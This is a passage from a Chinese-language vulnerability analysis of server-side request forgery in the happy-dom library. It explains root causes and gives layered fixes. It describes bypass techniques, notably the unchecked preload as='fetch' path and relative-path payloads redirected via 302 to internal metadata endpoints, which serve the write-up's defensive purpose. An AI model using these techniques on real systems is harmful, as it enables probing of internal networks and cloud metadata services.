这一点可以直接验证:把 internal2 的响应头改成 Access-Control-Allow-Origin: *,其余不变,再跑一次,命中日志就变成:

internal2: OPTIONS /metadata?vec=cross-hop2 | GET /metadata?vec=cross-hop2

B 形态的完整 GET 只差目标的一个响应头;OPTIONS 能到,说明网络可达性已经暴露。

还有一个容易忽略的细节:方向一里"跨源默认属性 → 无包"的死锁,在方向二里没有出现。preload entry 的 key 基于首跳 URL(/redirect-cross)注册,而预检针对的是重定向后的 URL(internal2/metadata),两个 key 不同,预检不会撞上主请求的 entry。

6.5 根因:三个视角看同一处缺失

6.5.1 出口级检查的覆盖率问题

补丁的修复模型是 sink-level gate:每个加载点在发请求前查自己的开关。它在补丁覆盖的路径上是对的,但它把"默认不出网"变成了一个覆盖率问题:

图 6-6 6.5.1 两种出网检查模型对比:sink 级闸门 vs 统一 chokepoint(图片:00-diagram-fetch-sink-gate-vs-chokepoint.jpg)

"默认不出网"是一个全称命题:所有走 Fetch 的 sink 都不出网。只要有一个 sink 不查开关,命题就假。

sink 还会增长。今天枚举完了,明天加一个 <link rel="prefetch"> 或新的资源类型,只要开发者不记得加检查,就又多一个缺口。按出口设的检查,安全性依赖枚举的完备性;而枚举一定会漏。

如果把检查放在 Fetch.send() 这个 chokepoint 上,走 Fetch 的新 sink 会自动受约束;漏掉的分支最多表现为功能不可用,而不会让安全性质失效。(WebSocket 不走 Fetch,需要单独的策略点,这是另一个话题。)

6.5.2 校验与授权混在一起

代码先做了一次"值是否合法"的判断,再做"这个值是否被允许"的判断。前者是输入校验,后者是授权。fetch 通过了前者,却没有进入后者的任何分支。

这是典型的 validate then forget authorization。更安全的写法是把支持列表和检查绑定:对每个支持的 as 都有一个明确的 allow / deny,或者默认拒绝,只有显式允许的分支才继续。

6.5.3 验证点与执行点分离

应用层过滤器在 HTML 层工作,它看到的是字符串;happy-dom 在网络层工作,它看到的是 URL 解析和重定向后的结果。两者之间隔着一个 302。

过滤器看到的:   /redirect-same                     (相对路径,同源,放行)
网络实际请求的: http://internal:8080/metadata?vec=same-hop2

这与传统 TOCTOU(时间差)不同,问题出在表示层面:验证的对象和执行的对象不是同一个。任何"只看 href"的过滤器都不完整,除非它自己解析并跟随重定向,或者把校验下沉到实际发请求的那一层。

同源 href 的"安全性"也不稳定:今天 /redirect 指向 /home,明天可能因开放重定向、短链或运营配置指向别处。过滤器验证的是会变的映射,不是最终目标。

6.5.4 权限继承

重定向不是"再发一个请求"那么简单,它继承了原请求的权限:headers、credentials、referrer、disableSameOriginPolicy。同源重定向保留 Cookie / Authorization;跨源重定向删认证头,但请求仍然发出。

在浏览器里,这通常受用户网络位置限制;在服务端解析器里,请求的起点是应用进程,终点可能是内网。302 因此从"跳转"变成了"权限转移"。开放重定向也不只是钓鱼问题,它在 SSR / SSRF 语境下是网络跳板。

6.5.5 共同缺失

方向一检验库的覆盖率,方向二检验使用方的过滤层;两者共用一个出口,也都指向同一个缺失:一个统一的、默认拒绝的出网策略点。这个点不存在,补一个分支、加一道 href 检查,都只是把攻击面挪到下一个未检查的位置。

6.6 本章结论

  1. 方向一(库内):as="fetch"** 是默认配置下唯一没有检查的声明式出口。** 运行期开关全为 false 时,stylesheet / iframe / script / img / as="font" 五个控制组全部被拦,只有 <link rel="preload" as="fetch"> 命中,exit=0。这条路径的覆盖范围由 CORS 决定:基址与目标同源时是完整 GET;跨源默认属性下,预检与主请求的 preload entry 互相等待,一个包都发不出;加 crossorigin="use-credentials" 至少能发出 OPTIONS,目标回 ACAO 时 GET 也会继续。

  2. 方向二(库外):应用层 href 过滤不是边界。 两个只含相对路径的载荷都能通过"只允许相对 / 同源"的过滤器:A 经 302 回到同源敏感路径,得到完整 GET;B 经 302 跳到另一个 origin,至少以 OPTIONS 预检到达,目标回 Access-Control-Allow-Origin: * 时 GET 也继续。默认配置下响应不回显,定性仍是盲 SSRF + 完整 GET 能力。


七、结论与修复建议

7.1 一条链,四个结论

把前面六章压成一句话:happy-dom 把浏览器的"连接即加载"语义完整地带进了服务端,却没有带上服务端的威胁模型。

  • 默认值即策略。 disableCSSFileLoading / disableIframePageLoading 的 false 就是"允许加载",攻击者不需要应用做错任何事。

  • 连接是唯一扳机。 入口是 page.content、innerHTML、DOMParser 还是别的 API 都不重要,重要的是元素有没有连上(4.1–4.3)。

  • 唯一的出口没有策略。 Fetch.sendRequest 只负责发,不判断目标;超时、大小上限、地址校验都不在这一层(4.4–4.5)。

  • 响应处置决定危害。 同一个出口,响应进 CSS 解析器是盲 SSRF,进 frame.content 就能被应用读走(4.6–4.7)。第三章与第五章的两条真实链路,差别只在宿主怎么用这个库。

7.2 修复建议:分四层看

第一层:库使用者,先升级。 21.0.0 起两个开关默认关闭,原 CVE 的两条路径不再出网(3.6 节 2 次 → 0 次,5.5 节三组对照 9 项断言全过)。这是成本最低、也最应优先做的一步。

第二层:暂时升不上去,显式关掉加载。 在构造 Browser / Window 时把两个开关设为 true:

const browser = new Browser({
  settings: {
    disableCSSFileLoading: true,
    disableIframePageLoading: true
  }
});

但要知道这道防线的边界(4.6.2、4.7.2):它只关"加载",不做目标校验;srcdoc 在闸门之前仍会渲染;<link rel="preload"> 走的是另一个分支,不在它们的覆盖范围内——这正是第六章方向一的入口。不要把它当成安全边界,它只是把风险收窄。

第三层:应用侧,别把过滤放在 href 上。 如果一定要在应用层设防:

  • 解析前做白名单净化,而不是解析后检查字符串;

  • 任何"只允许相对 / 同源 URL"的判断,都必须把重定向算进去(6.5.3)——只看 href 的过滤隔着一个 302 就失效;

  • 不要在同一个 BrowserContext 里为目标域预置 cookie,否则 crossorigin="use-credentials" 会把盲 GET 升级成带凭据的盲 GET(4.6.2)。

第四层:网络侧,把"默认拒绝出网"落到解析进程上。 这是唯一与库版本无关的兜底:

  • 给解析 / 渲染进程单独的 egress 策略,默认拒绝,只放行必要目标;

  • 显式阻断云元数据端点与链路本地网段(169.254.0.0/16、fe80::/10),并优先启用 IMDSv2 这类需要额外请求头的机制;

  • 对 DNS 解析后的地址做校验,而不是只校验 URL 字符串——否则重定向与 DNS 重绑定都能绕过(4.5、6.4.3)。

另外,Fetch 提供了 interceptor 作为唯一可加装的策略点(4.4)。它默认是 null,但可以在 beforeAsyncRequest 里拿到请求 URL 并直接拒绝或短路。相比之下,disable* 开关是行为开关,X-Frame-Options 只决定内容能否写回(4.7.4),sandbox 连加载行为都不改变(4.7.2)——这三者都不该被当作 SSRF 的防线。

7.4 参考资料

说明:文中所有"命中 / 未命中"的判定均以对端服务的请求日志为准;截图与终端输出来自实测环境,版本与命令已在各章标注。

截图均为终端整窗原图:顶部一行是实际执行的命令,中间是它的全部输出,底部回到提示符;正文里的代码块与截图属于同一次运行的两种呈现,可互相校对。

随文截图已做脱敏处理:窗口标题栏中的登录信息已擦除,提示符里的账号与主机名统一为 dev@lab;命令、输出与时间戳保持实测原样。